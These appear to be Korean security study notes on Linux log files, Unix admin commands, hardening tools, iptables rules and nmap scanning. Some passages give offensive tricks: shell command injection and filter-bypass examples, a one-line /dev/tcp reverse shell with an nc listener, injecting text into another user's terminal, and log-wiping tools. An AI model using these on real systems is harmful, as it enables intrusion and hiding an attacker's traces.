secure 파일은 주로 보안과 관련된 기록이 남은 파일로 사용자 인증 관련 로그를 포함하고 있다. 여기서의 인증은 telnet, ssh, ftp외에도 pop 인증 등 모든 네트워크 상의 인증이 포함된다. secure 파일은 syslogd 데몬에 의해서 남겨지게 되며, 바이너리 로그가 아니기 때문에 cat이나 vi 명령어로도 쉽게 확인이 가능하다. secure 파일 내에는 timestamp 정보, demon, host명 등의 형식으로 기록이 된다.

(3) 위치: /var/log/messages
 messages는 콘솔상에 출력되는 메시지들에 대한 기록이 남은 파일이다. 주로 시스템 관리자들이 시스템 장애 원인 분석 등을 확인하기 위해서 messages 파일을 점검한다. 이 파일에는 디스크 full, 디바이스 오류 메시지, 시스템 설정 오류 메시지 등 다양한 내용이 들어 있다. messages 역시 slsogd 데몬에 의해 남겨지며 로그인/설정/장치 정보의 전체적인 로그가 남겨져 있다.백도어 등의 설치 시도나 공격에 대한 오류메시지 등이 남아 있을 수 있으므로 어떤 취약점으로 공격 받았는지 확인하기 위해 보기도 한다.

(4) 위치 : /var/log/dmesg
 dmesg는 부팅 시 기록되는 로그로 "dmesg"라는 명령어를 실행하여 볼 수 있다. 커널에서 출력되는 메시지가 표시 되기 때문에, kernel의 crash된 메모리 주소 등을 볼 수 있다.

 (5) 위치 : /var/run/utmp
   "w"나 "who", "users", "finger" 등의 명령어를 이용하여 볼 수 있으며 바이너리 파일 형태이다. 현재 시스템에 로그인 한 각 사용자의 상태가 남겨져 있다.

  (6) 위치 : /var/log/wtmp
    "last" 명령어를 이용하여 볼 수 있으며, 바이너리 형태의 파일이다.
    (예. last [계정명] :  last -n 3 root //root 계정에 대한 3개의 최근 접속정보)
   로그인, 로그아웃, 시스템의 재부팅에 대한 정보가 남겨져 있다.

  (7) 위치 : /var/log/lastlog
      "lastlog" 명령어를 이용하여 볼 수 있으며, 시스템 계정 사용자들이 마지막으로 로그인 한 정보가 남는다.

  (8) 위치 : /var/log/xferlog
   FTP 서버의 데이터 전송 관련 로그로 파일의 송수신 모드, 특수 행위 플래그 정보, 전송 방향, 로그인한 사용자 종류에 대해 남는다.
 
   (9) 위치 : /var/account/pacct
    프로세스 어카운트에 대한 정보로, 시스템에 로그인한 모든 사용자 별로 실행한 프로세스에 대한 정보, 명령어가 기록된다. 이 로그는 "lastcomm" 명령어나 "acctcom" 명령어를 이용해서 볼 수 있다. 이 로그를 통해 사용자별로 사용한 명령어를 구분하는데에는 유용하지만, 그 명령어가 어느 파일시스템의 어느 디렉토리에서 실행되었는지를 알수는 없다.





Basic UNIX/Linux commands

사용자 관련 : 접속자가 하는일, 나?, 마지막 접속자?
who, whoami, id, finger
lastlog  
last  ([user])       //wtmp 로그 참조 (login, logoff, system off msg)                  
lastcomm            //pacct로그(login부터 logoff까지의 사용 명령어) 참조
w                        //utmp로그 참조 (현재 로그인한 사용자들의 시스템 활동)

쉘 변경
chsh

날짜/시간 확인
date
 date --date='@12345678'
>> 로그 상 찍힌 시간을 현재 한국 시간으로 변환해서 보는 방법

네트워크 설정 확인
ifconfig -a
ifconfig eth0 promisc
netstat -anp
traceroute

시스템 정보 확인
uname -a (-r) << 운영체제 정보
top
ps -ef (-aux)
pstree
du/df -h <<  disk usage
ls -aslgR /bin/etc/user
hostname
login.defs << 암호 길이 지정
uptime
free -m << 메모리 사용 현황
lsof  -- 실행중인 프로세스 이름과 연결상태 정보 (list open file)
cat /proc/cpuinfo
cat /proc/meminfo

도메인 네임 검색 등
nslookup
dig  (dig 4.3.2.1(역방향).origin.asn.cymru.com txt +short )
host
whois

네트워크 관련 작업
tcpdump
tshark -i eth0 -w /tmp/test.pcap
tshark -r http
nmap

컴파일
gcc -o A A.c

서버 점검용 보안 툴
1) 호스트 기반 취약점 점검 도구
cops -- 파일, 디렉터리, 디바이스 퍼미션, 암호, 스타트업 파일... 등 점검
tiger -- $home 이상 유무, 암호 적절성, 시스템 파일 권한 ... 등 점검
chkacct -- 계정 취약점 및 파일 퍼미션, .rhosts 파일 등 점검

2) 호스트/네트워크 취약점 점검 도구
Nessus

3) 무결성 점검 도구
Tripwire -- 시스템 무결성 점검, 파일 내용의 체크섬 값 계산
md5, Sha2, Sha256 ...

4) 접근통제 및 로깅
TCP Wrapper -- 네트워크 서비스 접근통제 및 로그
xinetd
IPFilter (Solaris)
iptables

5) Rootkit 점검
 chkrootkit, RKscan

6) SATAN 탐지
 Gabriel, Courtney

7) 로깅 및 로그 분석, 삭제
 swatch, clearlog
 chkwtmp, wipe, zap

8) 기타
Jhon the ripper -- 패스워드 크랙
Ttywatcher -- 시스템 내 로그온 한 모든 tty와 커널과의 통신 도청
snort -- 오픈소스 침입탐지 툴


기본 시스템 명령어
mv/cp [file] [경로] -- move/copy 명령어
rm -f [file] -- remove 명령어
cd/mkdir [directory] -- change directory/make directory 명령어
sudo [command] -- swith user 명령어, 주로 root 권한의 작업을 수행할 때 이용함
kill [PID] -- 해당 PID에 해당하는 프로세스를 kill
vi [filename]
cat [filename]
grep [strings] -- 해당 string 찾기
finger [username] -- 사용자에 대한 많은 정보를 제공
rlogin/telnet/ftp/ssh [hostname] -- rlogin, telnet, ftp, ssh 접속
chmod xxx -- change mode
chown xxx -- change ownership
touch [파일명] -- 0 byte 크기의 파일 생성
passwd -- 암호 변경
man -- 매뉴얼 페이지 정보
sort -- 파일 정렬
file -- 파일 종류 확인
useradd/userdel/adduser  -- 사용자 계정 생성 및 삭제
groupadd/groupdel -- 그룹 생성 및 삭제
pwconv/pwunconv -- 패스워드 파일 shadow 파일 동기화, 패스워드 정책.
tar -xvfz [filename.tar.gz]
diff     (diff -uNr orig.Backup New.Chk > Patch.file )
awk -F '{print $1]'
uniq -c
umask 022



Sample 명령어들

cat test.log | awk -F '[print $1,$2,$5]' | sort -n | uniq -c

ps -ef | grep xinetd

rpcinfo -p | grep 1000009

find / -type f \(-perm 04000 -o -per 02000 \) -exec ls -lg [] \;

chmod u-s /usr/sbin/suid_file

find / -nouser -o -nogroup -print

find / -name '*.tmp' -mtime 30 -print -exec rm [] \;

find / -name .rhost -exec rm {} \; &

find / -user hacker -exec rm {} \; &

find / -type f \(-perm 2 -o -perm 20 \) -exec ls -lg [] \;

find / -user root -perm 4000 -exec rm {}\;

find / ₩( -nouser -o -nogroup ₩) ₩-exec chown root.root {} ₩;

find / -name .rhosts -exec ls -l {} ₩;

find / -name ".*" -print -xdev | cat -v

find / -ctime 7 -ls

chattr +i /etc/services

chown root.users /bin/chmod

zcat ./2013-11-2*/http* | grep "test.com" | awk '{print $11}' | sort | uniq -c

cat /current/conn.log | grep "ftp-data" | awk '{print $4,$5}'

rpcinfo -p |grep 100009

iptables -A INPUT -m state --state ESTABLISHED, RELATED -j ACCEPT
iptables -A INPUT -p tcp ! --syn -m state --state NEW -j DROP
iptables -A INPUT -p tcp --tcp-flags ACK.FIN FIN -j DROP
iptables -A INPUT -p tcp --sport 1024: --dport 80 -m state --state NEW -j ACCEPT

iptables -A FORWARD -p icmp --icmp-type echo-request -j ACCEPT
iptables -A FORWARD -p tcp -s 192.168.0.1/24 -d 192.168.1.0/24 --dport 22 -j ACCEPT
iptables -A FORWARD -p udp -d 192.168.3.1 --dport 53 -j ACCEPT







유용한 Unix (Command) Tip


netstat -nap
 현재 열려있는 포트들 뿐 아니라 PID 값과 프로그램 경로 위치까지 보임

pstree
 ps나 top 명령이 막혀 있을 때 사용 가능, 단 /proc이 막혀 있다면 불가능

ifconfig
 랜카드의 갯수, 장치 아이피 주소. 망 접속 환경에 따라 추가적인 ip 부여도 가능함

dmesg
 kernel에서 출력되는 메시지를 볼 수 있다.
 overflow 나는 부분의 메모리 주소 등을 확인할 수 있으며, 운 좋으면 남이 실행한 익스플로잇
  성공이 실행되는 메시지 주소값도 확인이 가능

curl
 wget과 하는 일이 똑같음. wget이 막혀있을때 사용

nmap
 네트워크 포트 스캐닝으로 좋음 (설치해야 함)

cat /proc/self/maps
현재 실행되고 있는 프로세스의 메모리 영역 Heap과 Stack
(단 권한이 있어야 보임)

cat /proc/self/environ
현재 실행되고 있는 프로세스의 환경변수 확인 가능

cat /dev/vcs[N]
root 권한 유저만 읽기가 가능. (virtual console switch)
[N]은 1~63까지 존재, 접속한 콘솔 번호에 대한 화면 덤프를 보여줌

ls -al /dev/pts
 who나 w 명령어가 막혀있을 때, 쓸 수 있는 명령어
 해당 리스트의 소유자 정보로 누가 로그인 중인지가 확인이 가능함
 tty는 콘솔로 접속, tts는 터미널 접속자를 의미함.
 이 명령어를 잘만 이용하면 다른접속자를 낚을 수 있는 명령어를 보낼 수도?
     echo “ls -al “ > /dev/pts/1

less
 cat이나 vi가 막혀있을때.. 비슷한 결과가 출력됨

echo *
  ls와 비슷한 결과가 출력됨.


gdb -q ./[파일명]
시스템 메모리 구조 및 분석 툴로, disassemble로 메모리 분석.

shellcode를 이용한 명령어 사용
만약 cat, less 등 파일 읽기 명령어를 사용하지 못할 경우 쉘 스크립트를 이용할 수 있다.
while read line ; do echo $line; done < /etc/passwd[파일 이름]


nmblookup/   smbclient
리눅스에서 윈도우로 공유 폴더 사용할 때. (samba/netbios)


Shell command injection
명령어를 2개 이상 실행 시키는 방식으로.
(;, &는 백그라운드 실행, `~~~` command injection, $ 환경변수 이용 )
  ls -al ;id
  ping -t google.co.kr&ls
  ping -t google.co.kr`ls`  ← ls 결과값을 파싱해서 윗 명령에 던져줌
  
A =ls
$A
하면 ls 명령어를 친 것과 동일한 결과


or
A =l
A+=s
$A

이렇게 해도 ls 명령어 친 것과 동일한 결과. ls 자체 입력을 막은 경우 사용.

1줄 reverse telnet
[192.168.1.2]
exec /bin/sh 0 < /dev/tcp/192.168.1.1/9999 1>&0 2>&0

여기서

0 = stdin (표준 입력) 예. /bin/sh에서 표준 입력값을< 이후에서 받겠다는 의미의 명령어
1 = stdout (표준 출력) 예. 1>&0 표준 출력을 표준 입력으로 출력
2 = stderr (표준 에러) 예. 2>&0 표준 에러를 표준 입력으로 출력
>, < 는 정보의 흐름을 표시함.

[192.168.1.1]
192.168.1.1에서 nc를 이용하여 9999 포트 리스닝 중이라면,
nc -lvp 9999 (9999 포트에 대해서 리스닝 중)
이후 192.168.1.2로의 reverse telnet이 먹혀 명령어 실행 및 출력이 가능해진다.



IP만 알고 있는 리눅스 서버의 호스트네임 찾기
1) host [ip address]
2) ping -a [ip address]
  arp -a
3) nslookup [ip address]
4) dig -x [ip address]
내부나 외부 DNS에 등록되어 있는 경우는 위와 같이 확인이 가능.



2013/12/01

[tool] nmap, network scanning tool

nmap은 가장 기본적인 네트워크 스캐닝 툴로, 실제로 다양한 옵션 정보를 지원해 주는 강력한 툴이다.
더 상세한 옵션 값 및 설정 정보는 실제 nmap의 헬프 메시지를 통해 습득하도록 한다.

NMAP 주요 옵션 정보


옵션값 설명
-iL 파일경로 스캔할 리스트를 읽어들인다 (nmap -iL /tmp/test.txt)
-oN 파일경로 결과값 파일로 저장 (nmap -oN /tmp/result.txt 192.168.0.1)
-v 자세한 정보를 보여준다
-f 패킷을 아주 작게 쪼개서 보낸다
-F Fast Scan , well-known port만 스캐닝
-P0 ICMP echo requests를 막아놓은 곳도 네트워크 스캔이 가능 (호스트 discovery를 생략하고 모두 online 상태로 간주한다는 뜻)
-PT ICMP 대신 TCP 패킷을 사용, ACK를 보내여 RST 받기를 기다림
-p 포트 범위 연속된 포트는 -를, 연속되지 않는 경우는 ,를 구분자로 사용
-sT TCP Connect scan, connect()를 이용한 스캔으로 Listen 상태이면 성공
-sS TCP SYN scan, 응답이 SYN과 ACK이면 Listen 상태, RST이 응답이면 Non Listen 상태, 로그가 남지 않는다
-sA TCP ACK scan, ACK을 보내므로 RST를 받으면 Unfilter 상태, 방화벽 상태 확인에 사용
-sW Window scan, ACK Scan과 비슷한데 open port도 알 수 있다
-sF Stealth Fin scan, Open 포트로 FIN을 보내면 패킷을 무시하고, Non Listen 포트로 FIN을 보내면 RST 패킷이 온다
-sX XMAS Tree scan, FIN 스캔과 비슷 TCP의 여러 플래그(FIN,PUSH, URG등)를 설정하여 보냄
-sN Null scan, FIN 스캔과 비슷.모든 플래그를 끈 상태로 패킷을 보냄
-sP Ping scan,icmp 패킷을 보냄. RST이거나 UP이거나 모두 호스트가 살아있음
-sU UDP scan, 오픈된 UDP 포트를 스캔한다.
-b FTP bounce scan, 익명 FTP 서버를 이용해 그 FTP를 경유하여 호스트를 스캔
-O 호스트의 운영체제 정보를 보여준다
-sR RPC scan, prcinfo -p와 비슷한 정보를 얻을 수 있다
-6 IPv6 스캐닝


NMAP 사용 예

[root@forensic] # nmap -sS -O -p 1-1024,6000 192.168.0.1

Port  State  Service
21/tcp  open  ftp
22/tcp  open  ssh
23/tcp  filtered  telnet
80/tcp  open  http
443/tcp  open https
Remote operating system guess : Linux Kernel 2.4.0 - 2.5.20(x86)
Uptime 1,321 days (Since Fri Oct 2 11:42:22 2009)
Nmap run completed -- 1 IP address (1 host up) scanned in 107 seconds


[root@forensic] # nmap -sP 192.168.1.0/24

Host 192.168.1.1 is up (0.00035s latency).
MAC Address: BC:AE:C5:C3:16:93 (Unknown)
Host 192.168.1.2 is up (0.0038s latency).
MAC Address: 74:44:01:40:57:FB (Unknown)
Host 192.168.1.5 is up.
Host nas03 (192.168.1.12) is up (0.0091s latency).
MAC Address: 00:11:32:11:15:FC (Synology Incorporated)
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.80 second


[root@forensic] # nmap -v -O --osscan-guess 192.168.1.1

Starting Nmap 5.00 ( http://nmap.org ) at 2012-11-27 01:29 IST
NSE: Loaded 0 scripts for scanning.
Initiating ARP Ping Scan at 01:29
Scanning 192.168.1.1 [1 port]
Completed ARP Ping Scan at 01:29, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:29
Completed Parallel DNS resolution of 1 host. at 01:29, 0.22s elapsed
Initiating SYN Stealth Scan at 01:29
Scanning 192.168.1.1 [1000 ports]
Discovered open port 80/tcp on 192.168.1.1
Discovered open port 22/tcp on 192.168.1.1
Completed SYN Stealth Scan at 01:29, 0.16s elapsed (1000 total ports)
Initiating OS detection (try #1) against 192.168.1.1
Retrying OS detection (try #2) against 192.168.1.1
Retrying OS detection (try #3) against 192.168.1.1
Retrying OS detection (try #4) against 192.168.1.1
Retrying OS detection (try #5) against 192.168.1.1
Host 192.168.1.1 is up (0.00049s latency).
Interesting ports on 192.168.1.1: Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: BC:AE:C5:C3:16:93 (Unknown)
Device type: WAP|general purpose|router|printer|broadband router
Running (JUST GUESSING) : Linksys Linux 2.4.X (95%), Linux 2.4.X|2.6.X (94%), MikroTik RouterOS 3.X (92%), Lexmark embedded (90%), Enterasys embedded (89%), D-Link Linux 2.4.X (89%), Netgear Linux 2.4.X (89%)
Aggressive OS guesses: OpenWrt White Russian 0.9 (Linux 2.4.30) (95%), OpenWrt 0.9 - 7.09 (Linux 2.4.30 - 2.4.34) (94%), OpenWrt Kamikaze 7.09 (Linux 2.6.22) (94%), Linux 2.4.21 - 2.4.31 (likely embedded) (92%), Linux 2.6.15 - 2.6.23 (embedded) (92%), Linux 2.6.15 - 2.6.24 (92%), MikroTik RouterOS 3.0beta5 (92%), MikroTik RouterOS 3.17 (92%), Linux 2.6.24 (91%), Linux 2.6.22 (90%)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=5.00%D=11/27%OT=22%CT=1%CU=30609%PV=Y%DS=1%G=Y%M=BCAEC5%TM=50B3CA
OS:4B%P=x86_64-unknown-linux-gnu)SEQ(SP=C8%GCD=1%ISR=CB%TI=Z%CI=Z%II=I%TS=7
OS:)OPS(O1=M2300ST11NW2%O2=M2300ST11NW2%O3=M2300NNT11NW2%O4=M2300ST11NW2%O5
OS:=M2300ST11NW2%O6=M2300ST11)WIN(W1=45E8%W2=45E8%W3=45E8%W4=45E8%W5=45E8%W
OS:6=45E8)ECN(R=Y%DF=Y%T=40%W=4600%O=M2300NNSNW2%CC=N%Q=)T1(R=Y%DF=Y%T=40%S
OS:=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%R
OS:D=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=
OS:0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID
OS:=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 12.990 days (since Wed Nov 14 01:44:40 2012)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=200 (Good luck!)
IP ID Sequence Generation: All zeros
Read data files from: /usr/share/nmap
OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.38 seconds
Raw packets sent: 1126 (53.832KB) | Rcvd: 1066 (46.100KB)


map -p [port] hostName
## Scan port 80
nmap -p 80 192.168.1.1
 
## Scan TCP port 80
nmap -p T:80 192.168.1.1
 
## Scan UDP port 53
nmap -p U:53 192.168.1.1
 
## Scan two ports ##
nmap -p 80,443 192.168.1.1
 
## Scan port ranges ##
nmap -p 80-200 192.168.1.1
 
## Combine all options ##
nmap -p U:53,111,137,T:21-25,80,139,8080 192.168.1.1
nmap -p U:53,111,137,T:21-25,80,139,8080 server1.cyberciti.biz
nmap -v -sU -sT -p U:53,111,137,T:21-25,80,139,8080 192.168.1.254
 
## Scan all ports with * wildcard ##
nmap -p "*" 192.168.1.1
 
## Scan top ports i.e. scan $number most common ports ##
nmap --top-ports 5 192.168.1.1
nmap --top-ports 10 192.168.1.1
 
### Spoof your MAC address ##
nmap --spoof-mac MAC-ADDRESS-HERE 192.168.1.1
 
### Add other options ###
nmap -v -sT -PN --spoof-mac MAC-ADDRESS-HERE 192.168.1.1

 
### Use a random MAC address ###
### The number 0, means nmap chooses a completely random MAC address ###
nmap -v -sT -PN --spoof-mac 0 192.168.1.1 
## TCP Null Scan to fool a firewall to generate a response ##
## Does not set any bits (TCP flag header is 0) ##
nmap -sN 192.168.1.254
 
## TCP Fin scan to check firewall ##
## Sets just the TCP FIN bit ##
nmap -sF 192.168.1.254
 
## TCP Xmas scan to check firewall ##
## Sets the FIN, PSH, and URG flags, lighting the packet up like a Christmas tree ##
nmap -sX 192.168.1.254 
### Stealthy scan ###
nmap -sS 192.168.1.1
 
### Find out the most commonly used TCP ports using  TCP connect scan (warning: no stealth scan)
###  OS Fingerprinting ###
nmap -sT 192.168.1.1
 
### Find out the most commonly used TCP ports using TCP ACK scan
nmap -sA 192.168.1.1
 
### Find out the most commonly used TCP ports using TCP Window scan
nmap -sW 192.168.1.1
 
### Find out the most commonly used TCP ports using TCP Maimon scan
nmap -sM 192.168.1.1
 



..